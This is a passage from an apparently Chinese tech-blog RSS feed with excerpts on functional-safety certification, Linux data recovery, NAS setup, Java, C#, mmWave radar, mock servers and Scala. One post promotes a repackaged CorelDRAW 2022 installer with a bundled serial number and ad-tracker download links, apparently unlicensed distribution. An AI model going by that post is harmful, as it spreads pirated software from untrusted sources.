目前业内有两种功能安全认证，都可以拿到证书。一种是流程认证，一种是产品认证。流程认证就是指开发过程，产品认证就是指具体产品，可以是实体，比如芯片、电子零部件，也可以是开发工具；也可以是虚拟的非实体，比如软件操作系统OS。&#xA;我们以SGS官网信息为例，大体可以看出来目前大家基本都在做这两类认证，并且以流程认证居多，具体原因我们随后再讲。&#xA;功能安全认证案例（来源：SGS.com）&#xA;我们先讲流程认证。按笔者经验，对于没有相应经验的公司，认证机构一般都是建议先做流程认证，通过流程认证后，团队和能力基本上也就培养起来了，下一步就可以来做产品认证了（如果需要的话）。&#xA;因为流程认证难度较低，即使现有人员缺乏功能安全相关知识及流程经验，经过认证机构培训及辅导，短则半年，多则一年，一般都能通过，取得功能安全流程认证证书。流程认证一般也是基于一个具体的真实项目来开展的（一般是基于一个简单的产品，太复杂的难度太大，纯属找刺激，不推荐），而不是凭空只做流程文档。当然了，也可以这么做，就是只务虚，但一般不会这么做（认证机构也不推荐）。前面讲了，流程认证一般是产品认证的第一步，没有哪个公司只是为了图个虚名，拿个流程认证证书出去忽悠客户（也不排除这种情况），最终还是为了具体产品过认证。我们来看一下证书长啥样：&#xA;功能安全管理流程认证证书（来源：NXP）&#xA;从上面证书里我们可以看出来，流程认证的意思就是说，根据ISO26262标准，对于安全相关的项目，你的功能安全管理能力最高可以达到ASIL D级。那有的小伙伴们可能就要问了，C级可以不？当然可以了，不过认证机构会推荐你直接做D。因为对于流程认证来讲，C和D难度没啥差别，那为何不直接上D呢？&#xA;再来说产品认证，这个就比较复杂，要求就很高了。所以即使一个公司要做产品认证，一般都会是先做流程认证，通过后再去做产品认证就会容易一些。当然了，做产品认证的难度和流程认证就不是一个量级的，需要的人员数量要多很多。同时，因为产品认证相对于偏务虚的流程认证来讲，那可全是务实的事情，从具体产品设计，器件FIT值计算，FMEDA，FTA等，到软件代码模型检查，测试覆盖度等，那可都是实打实的工作要做的，具体认证周期我们下面再讲。我们再来看下产品认证证书长啥样。&#xA;功能安全产品认证证书（来源：网络）&#xA;从上面证书里我们可以看出来，产品认证证书是务实的，是基于具体的产品的某个功能的。我们前面也讲过，功能安全一定是基于具体功能的。上面的证书认证产品是一个电机控制器，具体功能是所控制的电机扭矩的大小和方向，就是说你要多大扭矩就多大，你要哪个方向就是哪个，这其实是两个功能，认证起来要比一个功能复杂。也就是说，要认证的功能越多，设计就越复杂，认证难度就越大，周期就越长，费用就越高。&#xA;3、 认证周期、费用及有效期 流程认证比较简单，我们就不多讲了。产品认证很复杂，工作量很大，这个和几个方面的因素有关：&#xA;企业现有的技术水平；&#xA;产品本身的复杂度，比如大模块就肯定要比小模块难度大；&#xA;需要认证的ASIL等级，等级越高，设计越复杂，难度越大；&#xA;产品设计方案，比如你直接用更高ASIL等级的器件，难度就要低一些，当然BOM成本就要高一些；&#xA;需要认证的功能，越多就越难，周期就越长；&#xA;企业的人力投入，这个比较容易理解。&#xA;我们再来看下SGS给的参考，这个和笔者了解到的实际情况是差不多的。&#xA;功能安全认证周期（来源：SGS.com）&#xA;产品认证很难，尤其是零部件级别的产品认证，ASIL C的还好，D就非常难了，需要企业投入的资源很多，周期很长，费用很高。&#xA;按照笔者经验，一般来说，采用功能安全流程开发的产品，项目研发的投入是原有的2-3倍（同样的开发内容）。企业原本的开发流程越规范，采用功能安全流程开发的投入也就越小，越不规范，投入就越高。这个很容易理解，ISO26262本质上也是个V-model，这个和汽车行业原本的零部件开发流程是一致的。对于规范的企业来讲，在开发安全相关的产品时，比如硬件方面，DFMEA，FMEDA，FTA等工作本身就是要做的，是贯穿在开发流程里面的，这部分能力本就是不缺的。又比如软件方面，配置管理工具、代码静态分析及测试工具等如果本来就在用，认证就会简单得多，所以不能一概而论。&#xA;简单来讲就是，越是大企业，越是正规企业，认证越容易过，甚至可以流程认证和产品认证一起做（没有流程认证是不可以做产品认证的，就像你必须先拿驾照才能去开车一个道理）。比如华为有一款产品，在2020年2月取得管理体系认证之后，当年11月就又取得了产品认证证书，就问你服不服。&#xA;关于具体的认证费用，笔者可以举一个简单的例子，大家感受一下，有个概念。比如流程认证，一般在一百万以内，含咨询费用和认证费用，有折扣的话，估计能谈到60万左右。因为目前国内除TUV及SGS等大家熟知的认证机构外，能做的机构也比较多了。&#xA;产品认证我们以大家熟知的VCU为例，这个产品硬件比较成熟，也比较简单，抛开研发费用不谈，单纯因认证产生的费用在300万左右，具体还是要看产品设计及OEM，不能一概而论，影响因素我们上面分析过了，在此不再赘述。&#xA;另外要提醒小伙伴们的是，功能安全证书是有有效期的，不管是流程的还是产品的。我们以下面的流程证书来举例，可以看到有效期是三年，到期后可能需要现场审核，续证审核也是有费用的，一般都是几万元。&#xA;功能安全管理流程认证证书（来源：NXP）&#xA;上面已经具体分析了流程认证及产品认证，下面我们来详细讲解一下产品认证范围。&#xA;4、 功能安全产品认证范围 关于功能安全可以认证的产品范围，实际上既可以是实体，比如电子元器件、电子零部件或开发工具，也可以是虚拟的非实体，比如软件操作系统OS，我们分开来讲。</description>
    </item>
    <item>
      <title>完整恢复Linux误删数据</title>
      <link>https://bchobby.github.io/posts/904494a7fef9230dfdcfd5678232076f/</link>
      <pubDate>Fri, 01 Jul 2022 09:48:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/904494a7fef9230dfdcfd5678232076f/</guid>
      <description>Linux恢复误删文件 关键时刻可以用来保命，如果这篇文章真的帮到了你，请务必点赞关注！&#xA;如果你没有按照建议管理数据并且已经删除完毕了，想要找救命稻草，听我的，赶紧跑路吧！&#xA;1、服务器数据管理建议遵循的几项规则 1、系统设备和数据设备分开，重要数据不要放在系统分区，方便卸载恢复系统和数据，底层硬件一定要使用raid0之外的磁盘阵列2、数据修改和删除前，如有必要必须备份，小文件直接使用mv命令将[filename|dirname]改为[filename|dirname].back或.orig3、rm前保存文件路径和md5值，方便数据恢复之后的文件名和路径恢复 2、Linux误删除文件的恢复 安装testdisk磁盘恢复工具 yum install epel-release -y yum install testdisk -y testdisk工具的help&#xA;# testdisk --help TestDisk 7.1, Data Recovery Utility, July 2019 Christophe GRENIER &amp;lt;grenier@cgsecurity.org&amp;gt; https://www.cgsecurity.org Usage: testdisk [/log] [/debug] [file.dd|file.e01|device] testdisk /list [/log] [file.dd|file.e01|device] testdisk /version /log : create a testdisk.log file /debug : add debug information /list : display current partitions TestDisk checks and recovers lost partitions It works with : - BeFS (BeOS) - BSD disklabel (Free/Open/Net BSD) - CramFS, Compressed File System - DOS/Windows FAT12, FAT16 and FAT32 - XBox FATX - Windows exFAT - HFS, HFS+, Hierarchical File System - JFS, IBM&#39;s Journaled File System - Linux btrfs - Linux ext2, ext3 and ext4 - Linux GFS2 - Linux LUKS - Linux Raid - Linux Swap - LVM, LVM2, Logical Volume Manager - Netware NSS - Windows NTFS - ReiserFS 3.</description>
    </item>
    <item>
      <title>NAS篇：群辉ds218play学习笔记</title>
      <link>https://bchobby.github.io/posts/6a5a518b6646c7decc376a2d347a155f/</link>
      <pubDate>Fri, 01 Jul 2022 09:47:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a5a518b6646c7decc376a2d347a155f/</guid>
      <description> 硬件：群辉ds218play，购入二手产品，自有1T硬盘*2。西数黄+蓝。&#xA;1.初期摸索 1.算法&#xA;2.三大&#xA;3.卸载应用&#xA;4.共享文件夹——移动&#xA;下载：download station：设置学习链接&#xA;5.硬盘检查：SMART:属性、硬盘、磁盘、电机、电路&#xA;群辉filestation每个文件夹什么意思：共享文件夹&#xA;6.远程开关机：自动唤醒——失败&#xA;——软件Synology Assistant，设置WOL物理地址&#xA;——群晖控制面板—&#xA;——手机群辉管家，可以唤醒nas，发送信号后，蓝色灯闪烁、硬盘自检、然后正常启动。&#xA;7.文件管理器：&#xA;homes和home：homes是主目录，home是登录的账户在主目录的快捷键。home是homes的快捷方式，不占用额外空间。&#xA;8.文件上传，只能一个一个传，不能多线并行吗?&#xA;9.DSfile+DSphoto+Moment多人多权限照片：原来7.1版本已经把photo和moment合并到photoStation里了。&#xA;10.下载：有了网盘，电视上也要能够播放。&#xA;11.安装docker，命令行方式，命令行失败就加sudo&#xA;ssh username@ip&#xA;mkdir docker_install&#xA;tar&#xA;2.再次摸索 1.初始化：&#xA;——每个硬盘都有系统，所以可以直接删除存储池的存储空间，需按照提示卸载占用的套件。&#xA;——发现个现象：删除存储空间，另外活跃的存储空间会有内容出现。可能是群晖系统自动迁移？&#xA;——全部删除了存储空间后，全部删除存储池。系统正常。&#xA;——系统没有存在硬盘上吗？&#xA;2.存储管理器：创建存储池：群晖硬盘存储池格式详解&#xA;——新手建议使用basic模式，硬盘互相独立。&#xA;3.存储池创建存储空间：硬盘是一个存储池，两块硬盘合计2个存储池&#xA;——存储空间1：照片；存储空间2：影音+我的文件&#xA;——我的文件夹用到电脑映射，网上邻居隐藏不要勾选。勾选了无法在我的电脑映射。&#xA;没必要分区，不同存储池，每个文件夹设置权限即可。&#xA;4.我的电脑映射文件夹：&#xA;——打开synology Assistant——网络硬盘，下一步，选择我，修改盘符(可不改)&#xA;——失败！提示：正在以其他身份访问这台服务器。——需要勾选：登录时重新联机。&#xA;5.安装套件：图片:photo，影音:video等&#xA;——photo安装在存储池1。安装后生成homes和home目录。&#xA;——每个账户在home有私有目录，管理员才可查看homes。权限默认分配了。&#xA;6.下载&#xA;基本完成所需功能 1.自动备份，每人分类文件夹&#xA;2.可以公网通过QC访问&#xA;3.没有内网穿透，使用华为自动上传&#xA;4.网络唤醒&#xA;双硬盘互相复制——共享文件夹里更改存储池 黄盘作为主要盘——媳妇和老妈用黄盘，我自己蓝盘 删除原始盘——删除应用后就可以删除磁盘 删除应用：套件中心——已安装——打开应用，卸载 系统移动到黄盘？不用，蓝盘坏了无所谓。我的数据无所谓丢就丢——共享文件夹更改位置 内网穿透10086公网 1 ilo如何进入，链接 apt是linux下载工具 软件考试：网络管理员——网络工程师——[ ] </description>
    </item>
    <item>
      <title>CorelDRAW 2022中文精简64位直装版下载</title>
      <link>https://bchobby.github.io/posts/9015577154d3021eacbc2062c1bd610e/</link>
      <pubDate>Thu, 30 Jun 2022 23:23:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9015577154d3021eacbc2062c1bd610e/</guid>
      <description>自从学会使用 CorelDRAW 之后，小编就会整理收集各个版本，这不去年跟小伙伴分享了CorelDRAW 2021（23.1.0.389）64-Bit直装版后，今年又出了 CorelDRAW 2022 版本，小编最喜欢尝试使用新版本，可以更好的兼容各个文件。于是决定更新一下电脑的 CDR 软件，也就是本文的主角——CorelDRAW 2022（24.0.0.301）64-Bit直装版，本文做个记录。&#xA;由于本次安装的 CorelDRAW 2022 简体中文安装包非常精简，直接安装就行，老规矩：在纯净的 Windows 10/11 操作系统下，下载安装 CorelDRAW 2022 安装包，&#xA;由于该 exe 程序是压缩文件，运行 CorelDRAW 2022 安装包后会释放压 CorelDRAW Technical Suite 2022 v24.0.0.301 x64 安装文件，静静等待即可。&#xA;老规矩，新版本 CDR 需要的最低系统要求为 Windows 10，内存建议 8G 或更高，分辨率 1920*1080 甚至更高。此处缙哥哥只是为了安装测试，用了低分辨率。&#xA;该安装包自带了 CorelDRAW 2022 序列号，无需输入直接点击下一步即可。&#xA;选择默认安装（如果你选择自定义安装路径也不是不行），静静等待安装完成即可。&#xA;安装完成后，右下角点击完成即可。然后你会发现桌面就多出了 6 个图标，分别是：&#xA;CorelDRAWCorel DESIGNERCorel PHOTO-PAINTCorel CAPTURECorel Font ManagerXVL Studio 3DCAD Corel Edition x64 双击运行 CorelDRAW 打开。&#xA;经过简单试用，各种操作、功能均没有问题，适合我自己使用，6年前的老笔记本也没有问题。&#xA;CorelDRAW2022订阅版mac-安装包&#xA;https://wm.makeding.com/iclk/?zoneid=49497&#xA;CorelDRAW2022订阅版win-安装包&#xA;https://wm.makeding.com/iclk/?zoneid=49498</description>
    </item>
    <item>
      <title>JAVA 字符串详解</title>
      <link>https://bchobby.github.io/posts/00ccc7d152c25abd425e6d4acb31e01a/</link>
      <pubDate>Thu, 30 Jun 2022 22:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00ccc7d152c25abd425e6d4acb31e01a/</guid>
      <description>字符串创建有两种基本形式： 1、直接赋值：String s1 = &#34;ab&#34;;&#xA;此操作只会在字符串常量池创建一个“ab&#34;字符串&#xA;原因：该值能在编译期就直接确定，因此只会在常量池创建。&#xA;2、用new String来创建一个字符串&#xA;此时分两种情况：&#xA;（1）字符串常量池中已经有和这个将要创建的字符串的字面量相等（.equal（）返回true）的字符串,则只在堆中生成一个字符串对象。&#xA;String s1 = &#34;ab&#34;;&#xA;String s2 = new String(“ab”);&#xA;两次ldc都是#2对应的字符串，即两次创建只在常量池中生成一个“ab”。&#xA;（2）字符串常量池中没有和这个将要创建的字符串的字面量相等的字符串：&#xA;此时会生成两个字符串对象，一个在堆中，一个在常量池。&#xA;（在此之前ldc索引只到16，而这里变成17说明常量池中也生成了一个字符串）。&#xA;3、字符串拼接 分三种情况：&#xA;（1）String s10 = &#34;abc&#34; + &#34;d&#34;;&#xA;直接用字面量拼接的话，只会在常量池中生成一个字符串对象，且是拼完后的结果，拼之前的两个字符串不会在常量池中创建。&#xA;原因：本质上是先进行了字符串拼接操作，得到这个字面量，然后因为编译期就能够确定这个字面量，所以只在常量池创建。&#xA;（2）String s4 = new String(&#34;ad&#34;) + new String(&#34;c&#34;);&#xA;总共创建了5个字符串对象，“ad“和”c”分别在堆中和在常量池中创建对象。但拼完的“adc”只在堆中而不在常量池中。&#xA;原因： 只要使用了构造器或引用方法来创建对象，那么就无法在编译期确定该字符串的值，因此会在运行期在堆中和常量池中创建。&#xA;（3）String s17 = new String(&#34;abcge&#34;) + &#34;k&#34;;&#xA;生成四个字符串对象，“abcge”在堆中和字符串常量池中都创建，“k”只在常量池创建，拼完的“abcgek”只在堆中。&#xA;(4) String s18 = &#34;ab&#34;;&#xA;String s19 = &#34;cd&#34;;&#xA;String s20 = s19 + s18;&#xA;此种形式s20只会在堆中创建一个对象”abcd&#34;.</description>
    </item>
    <item>
      <title>C#使用IconFont字体图标的动态加载（＆#xe格式转换）</title>
      <link>https://bchobby.github.io/posts/c0ac4bef0c83e7cf06d416f8f1c264b1/</link>
      <pubDate>Thu, 30 Jun 2022 22:07:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0ac4bef0c83e7cf06d416f8f1c264b1/</guid>
      <description>IconFont 矢量字体图标由于文件小，资源多，可任意放大缩小不失真，方便着色等特点，在网页、Winform、WPF中被广泛使得。网页上介绍使用的文件很多，但动态加载并不多,本文将重点介绍利用C#语言动态加载IconFont 字体，以便显示矢量字体图标。&#xA;一、IConFont 基本使用参考 下面两遍文章介绍很详细，相关链接如下：&#xA;将IconFont的字体图标库转为图片WPF自定义控件与样式(1)-矢量字体图标(iconfont) 二、IConfont 样式 如下图，每个字体图标均有相应的 Unicode 编码.&#xA;三、手动写入IconFont字体图标 字体图标，如 &amp;amp;#xe625;表示如下图标，实际上在C#中，其相当于\ue625。通过手写字符串如下：&#xA;menuItem.Icon =&#34;\ue625&#34;; 上述字符不存在转义错误，可以实现加载并显示图像&#xA;四、动态加载 IconFont字体图标 如下示例中，存在以下数据表，其中F_Icon 字段 包含 字体值&#xA;上述数据如果动态加载到控件中（如菜单），如果通过拼写字符串，存在转义问题，需要对Unicode 字体进行处理。处理函数如下： public string UnicodeToStr(string unicodeStr) { string outStr = &#34;&#34;; if (!string.IsNullOrEmpty(unicodeStr)) { string[] strlist = unicodeStr.Replace(&#34;&amp;amp;#&#34;, &#34;&#34;).Replace(&#34;;&#34;, &#34;&#34;).Split(&#39;x&#39;); try { for (int i = 1; i &amp;lt; strlist.Length; i++) { outStr += (char)int.Parse(strlist[i], System.Globalization.NumberStyles.HexNumber); } } catch (FormatException ex) { outStr = ex.Message; } } return outStr; } 调用该函数代码为：</description>
    </item>
    <item>
      <title>TI 毫米波雷达学习网站链接整理</title>
      <link>https://bchobby.github.io/posts/36da5de559f9391a50e76315134631f5/</link>
      <pubDate>Thu, 30 Jun 2022 21:12:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36da5de559f9391a50e76315134631f5/</guid>
      <description>欢迎加入毫米波雷达技术交流群，qq群号码：647796034 这些网站主要是培训毫米波雷达基础知识，了解其应用演示，下载相关资料所用，还有TI官网就没有放上来。&#xA;1、TI Wiki网站 主要介绍TI的嵌入式芯片，DSP，mmWave Sensors以及相应的技术开发。&#xA;Analog | Embedded processing | Semiconductor company | TI.com&#xA;2、TI Resource Explorer 提供mmWave Sensors技术文档，应用源码，软件开发工具包等下载。&#xA;TI DevTools&#xA;3、毫米波雷达e2e英文论坛 Sensors forum - Sensors - TI E2E support forums&#xA;4、e2e中文论坛 E2E™ 设计支持&#xA;5、毫米波雷达系列培训 （1）TI官网&#xA;mmWave radar sensors | TI.com Training Series&#xA;（2）eeworld论坛&#xA;1.1 毫米波传感介绍：FMCW雷达 - 模块1：范围估计-mmWave系列培训-TI教室-EEWORLD大学堂&#xA;（3）21ic论坛&#xA;mmWave系列培训-mmWave sensors - 德州仪器（TI）官方视频课程培训&#xA;6、毫米波雷达芯片及技术介绍 TI 毫米波雷达技术 - 技术概览-TI 毫米波雷达技术介绍-TI教室-EEWORLD大学堂&#xA;7、TI官网毫米波雷达应用演示 mmWave Imaging Radar - Automotive Applications | TI.com Video</description>
    </item>
    <item>
      <title>TI毫米波雷达开发常见问题总结</title>
      <link>https://bchobby.github.io/posts/bd65c212f204ab3c34fc6bd12df21cf4/</link>
      <pubDate>Thu, 30 Jun 2022 21:12:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd65c212f204ab3c34fc6bd12df21cf4/</guid>
      <description>欢迎加入毫米波雷达技术交流群，qq群号码：647796034 2017年开始接触德州仪器TI发布的三款毫米波雷达AWR1243、AWR1443、AWR1642。主要使用探索汽车防撞雷达以及车内人员检测以及呼吸检测等等毫米波雷达应用（偏了解AWR1243和AWR1642）。现将该系列雷达开发过程中常见问题总结如下：&#xA;一、AWR1243 【Radar Studio】 1、RF Powered-up射频使能失败（Dev mode） [error]：&#xA;[21:34:09] [RadarAPI]: ar1.PowerOn(0, 1000, 0, 0)&#xA;[21:34:09] [RadarAPI]: Status: Failed, Error Type: RESP TIMEOUT&#xA;[21:34:09] [RadarAPI]: ar1.SaveSettings(&#39;C:\Users\DELL\AppData\Roaming\RSTD\ar1gui.ini&#39;)&#xA;[21:36:01] [RadarAPI]: ar1.RfEnable()&#xA;[21:36:01] [RadarAPI]: Status: Failed, Error Type: INVALID INPUT&#xA;原因：烧录到AWR1243的固件文件加载错误&#xA;解决办法：正确的固件程序文件路径：&#xA;DFP安装文件中也有以下路径的固件版本，是用于AWR1243在功能模式下烧录的固件，开发模式下用上面所附路径下固件，加载错固件会在RF Powered-up这一步报错。&#xA;2、RF Powered-up射频使能失败（Functional mode） [errror]: [RadarAPI]: ar1.RfEnable( )&#xA;[RadarAPI]: Status: Failed, Error Type: RESP TIMEOUT&#xA;解决办法：&#xA;（1）BSS版本不匹配开发板的版本ES2.0/3.0（注意EVM的版本和固件版本是否匹配）。&#xA;（2）Uniflash固件烧录需三个文件：(xwr12xx_xwr14xx_radarss.bin，xwr12xx_masterss.bin，xwr12xx_memswap.bin)&#xA;（3）开发板电源：TSW1400：5V, 4A以上 ，AWR1243：5V，2.5A以上。&#xA;（4）SPI控制前，使用NRST复位，主要为了保持复位后IRQ为高，使雷达以一个较好的启动状态。&#xA;3、 RS232串口连接失败 [Error]: Connection failed: Calling_ConnectTarget returned 3</description>
    </item>
    <item>
      <title>Mock技术_配置json文件</title>
      <link>https://bchobby.github.io/posts/fba2f14b4a2b32055a939b728824cc0b/</link>
      <pubDate>Thu, 30 Jun 2022 19:10:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fba2f14b4a2b32055a939b728824cc0b/</guid>
      <description>我们需要先编辑一个json文件，用来模拟不同的请求，返回不同的响应。 新建一个格式改为json的文件，然后打开这个文件进行编辑，例如 kr.json 1、kr.json 文件内容&#xA;[{ &#34;description&#34;:&#34;demo&#34;, &#34;request&#34;:{ &#34;uri&#34;: &#34;/demo&#34; }, &#34;response&#34;:{ &#34;text&#34;:&#34;Hello,world!&#34; } }] 2、kr.json 文件内容说明&#xA;1、description # 是注释（描述），由于json无法写注释，所以提供了用这个key； 2、uri # 是我们这个接口的统一资源标识符，可以根据模拟的接口自行定义； 3、response # 是返回的值； 3、Mock技术_json文件配置不同的请求案例</description>
    </item>
    <item>
      <title>后端代码生成工具SDP系列五（10分钟写一个学生课程管理系统）</title>
      <link>https://bchobby.github.io/posts/9db30853bfd46b86e7f0aeb11c2247bf/</link>
      <pubDate>Thu, 30 Jun 2022 14:56:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9db30853bfd46b86e7f0aeb11c2247bf/</guid>
      <description>10分钟写一个学生课程管理系统 创建数据库（建议使用mysql8数据库）数据库ER模型及业务简单介绍步骤一：新建数据库步骤二：下载SDP工具和模板文件步骤三：运行SDP工具步骤四：启动前端管理工具并导入模板步骤五：修改数据库配置信息步骤六.1：创建源代码目录，并生成所有的前、后端代码步骤六.2 为什么project页面的“表”有区别步骤六.3 允许生成的文件和表名不一样步骤七.1 查看生成的结果步骤七.2 SDP如何巧妙地实现了定制化业务代码和自动生成代码的融合步骤八 打开后端工程，并执行8.1打开Idea，点击“Open or Import”：8.2 修改数据库配置8.3 启动后端服务 步骤九 测试后端服务步骤十 启动前端步骤十一 开始使用后续：定制化页面、定制化接口 创建数据库（建议使用mysql8数据库） 标题要大，其实十分钟可能都没法将本文仔细看完。10分钟其实指的是实际操作，至于真正地生成所有的代码需要做的可能1分钟都不到。&#xA;这个demo仅有几个数据表，其中3个表：学生、课程和选课关系表，参考自《数据库系统概论》第五版 +学习笔记总目录中的“chp3-1.ppt”第30、31、32页。&#xA;另外，表、字段都以下划线进行了分割。原因是个人习惯，另外也是为了统一管理，因为前后端通讯时会统一使用下划线规则（ajax规则），而后端java内部会使用驼峰规则，驼峰和ajax规则使用下划线进行区分会更简单易记。&#xA;CREATE TABLE sc_dept ( d_no VARCHAR(9) primary key comment &#39;班级编号&#39;, d_name VARCHAR(20) UNIQUE comment &#39;班级名称&#39;, updated_time DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP comment &#39;更新时间&#39;, updated_by VARCHAR(45) comment &#39;更新人&#39; ) comment &#39;班级&#39;; CREATE TABLE sc_student ( s_no VARCHAR(9) primary key comment &#39;学号&#39;, s_name VARCHAR(20) UNIQUE comment &#39;学生姓名&#39;, s_password VARCHAR(45) comment &#39;密码&#39;, s_sex VARCHAR(2) comment &#39;性别&#39;, s_birthday DATETIME comment &#39;生日&#39;, d_no VARCHAR(9) comment &#39;班级编号&#39;, updated_time DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP comment &#39;更新时间&#39;, updated_by VARCHAR(45) comment &#39;更新人&#39;, FOREIGN KEY (d_no) REFERENCES sc_dept(d_no) ) comment &#39;学生&#39;; CREATE TABLE sc_teacher ( t_no VARCHAR(9) primary key comment &#39;教师编号&#39;, t_name VARCHAR(20) UNIQUE comment &#39;教师姓名&#39;, t_password VARCHAR(45) comment &#39;密码&#39;, t_sex VARCHAR(2) comment &#39;性别&#39;, t_birthday DATETIME comment &#39;生日&#39;, t_is_admin SMALLINT comment &#39;是否为管理员&#39;, updated_time DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP comment &#39;更新时间&#39;, updated_by VARCHAR(45) comment &#39;更新人&#39; ) comment &#39;教师&#39;; CREATE TABLE sc_course ( c_no VARCHAR(9) PRIMARY KEY comment &#39;课程编号&#39;, c_name VARCHAR(20) comment &#39;课程名称&#39;, c_pno VARCHAR(9) comment &#39;先修课程&#39;, c_credit SMALLINT comment &#39;学分&#39;, updated_time DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP comment &#39;更新时间&#39;, updated_by VARCHAR(45) comment &#39;更新人&#39;, FOREIGN KEY (c_pno) REFERENCES sc_course(c_no) ) comment &#39;课程&#39;; CREATE TABLE sc ( s_no VARCHAR(9) comment &#39;学号&#39;, c_no VARCHAR(9) comment &#39;课程编号&#39;, approve_time DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP comment &#39;批准时间&#39;, approve_t_no VARCHAR(9) comment &#39;批准选课的教师编号&#39;, updated_time DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP comment &#39;更新时间&#39;, updated_by VARCHAR(45) comment &#39;更新人&#39;, PRIMARY KEY (s_no, c_no), FOREIGN KEY (s_no) REFERENCES sc_student(s_no), FOREIGN KEY (approve_t_no) REFERENCES sc_teacher(t_no), FOREIGN KEY (c_no) REFERENCES sc_course(c_no) ) comment &#39;选课&#39;; CREATE TABLE tc ( t_no VARCHAR(9) comment &#39;教师编号&#39;, c_no VARCHAR(4) comment &#39;课程编号&#39;, updated_time DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP comment &#39;更新时间&#39;, updated_by VARCHAR(45) comment &#39;更新人&#39;, PRIMARY KEY (t_no, c_no), FOREIGN KEY (t_no) REFERENCES sc_teacher(t_no), FOREIGN KEY (c_no) REFERENCES sc_course(c_no) ) comment &#39;执课&#39;; 数据库ER模型及业务简单介绍 系统有3个角色：学生、教师、管理员（也是教师，但是属性t_is_admin为1）。</description>
    </item>
    <item>
      <title>Scala基础教程--18--集合（二）</title>
      <link>https://bchobby.github.io/posts/9bd5444a9507509f9aeb448697af1ef5/</link>
      <pubDate>Thu, 30 Jun 2022 14:20:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bd5444a9507509f9aeb448697af1ef5/</guid>
      <description>Scala基础教程–18–集合（二） 章节目标 掌握Iterable集合相关内容.掌握Seq集合相关内容.掌握Set集合相关内容.掌握Map集合相关内容.掌握统计字符个数案例. 1. Iterable 1.1 概述 Iterable代表一个可以迭代的集合, 它继承了Traversable特质, 同时也是其他集合的父特质. 最重要的是, 它定义了获取迭代器(iterator)的方法: def iterator: Iterator[A], 这是一个抽象方法, 它的具体实现类需要实现这个方法, 从而实现迭代的返回集合中的元素.&#xA;1.2 分类 Traversable提供了两种遍历数据的方式:&#xA;通过iterator()方法实现, 迭代访问元素的功能.&#xA;这种方式属于主动迭代, 我们可以通过hasNext()检查是否还有元素, 并且可以主动的调用next()方法获取元素, 即: 我们可以自主的控制迭代过程.&#xA;通过foreach()方法实现, 遍历元素的功能.&#xA;这种方式属于被动迭代, 我们只提供一个函数, 并不能控制遍历的过程, 即: 迭代过程是由集合本身控制的.&#xA;1.3 案例一: 遍历集合 需求&#xA;定义一个列表, 存储1, 2, 3, 4, 5这五个数字.通过iterator()方法遍历上述的列表.通过foreach()方法遍历上述的列表. 参考代码&#xA;//案例: 遍历集合元素. object ClassDemo01 { def main(args: Array[String]): Unit = { //1. 定义一个列表, 存储1, 2, 3, 4, 5这五个数字. val list1 = (1 to 5).</description>
    </item>
    <item>
      <title>Scala基础教程--20--Akka</title>
      <link>https://bchobby.github.io/posts/782255d5c0773ba2dd50aa682c1bab47/</link>
      <pubDate>Thu, 30 Jun 2022 14:20:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/782255d5c0773ba2dd50aa682c1bab47/</guid>
      <description>Scala基础教程–20–Akka 章节目标 理解Akka并发编程框架简介掌握Akka入门案例掌握Akka定时任务代码实现掌握两个进程间通信的案例掌握简易版spark通信框架案例 1. Akka并发编程框架简介 1.1 Akka概述 Akka是一个用于构建高并发、分布式和可扩展的基于事件驱动的应用工具包。Akka是使用scala开发的库，同时可以使用scala和Java语言来开发基于Akka的应用程序。&#xA;1.2 Akka特性 提供基于异步非阻塞、高性能的事件驱动编程模型内置容错机制，允许Actor在出错时进行恢复或者重置操作超级轻量级的事件处理（每GB堆内存几百万Actor）使用Akka可以在单机上构建高并发程序，也可以在网络中构建分布式程序。 1.3 Akka通信过程 以下图片说明了Akka Actor的并发编程模型的基本流程：&#xA;学生创建一个ActorSystem通过ActorSystem来创建一个ActorRef（老师的引用），并将消息发送给ActorRefActorRef将消息发送给Message Dispatcher（消息分发器）Message Dispatcher将消息按照顺序保存到目标Actor的MailBox中Message Dispatcher将MailBox放到一个线程中MailBox按照顺序取出消息，最终将它递给TeacherActor接受的方法中 2. 创建Actor Akka中，也是基于Actor来进行编程的。类似于之前学习过的Actor。但是Akka的Actor的编写、创建方法和之前有一些不一样。&#xA;2.1 API介绍 ActorSystem: 它负责创建和监督Actor&#xA;在Akka中，ActorSystem是一个重量级的结构，它需要分配多个线程.在实际应用中, ActorSystem通常是一个单例对象, 可以使用它创建很多Actor.直接使用context.system就可以获取到管理该Actor的ActorSystem的引用. 实现Actor类&#xA;定义类或者单例对象继承Actor（注意：要导入akka.actor包下的Actor）实现receive方法，receive方法中直接处理消息即可，不需要添加loop和react方法调用. Akka会自动调用receive来接收消息.【可选】还可以实现preStart()方法, 该方法在Actor对象构建后执行，在Actor生命周期中仅执行一次. 加载Actor&#xA;要创建Akka的Actor，必须要先获取创建一个ActorSystem。需要给ActorSystem指定一个名称，并可以去加载一些配置项（后面会使用到）调用ActorSystem.actorOf(Props(Actor对象), “Actor名字”)来加载Actor. 2.2 Actor Path 每一个Actor都有一个Path，这个路径可以被外部引用。路径的格式如下：&#xA;Actor类型路径示例本地Actorakka://actorSystem名称/user/Actor名称akka://SimpleAkkaDemo/user/senderActor远程Actorakka.tcp://my-sys@ip地址:port/user/Actor名称akka.tcp://192.168.10.17:5678/user/service-b 2.3 入门案例 2.3.1 需求 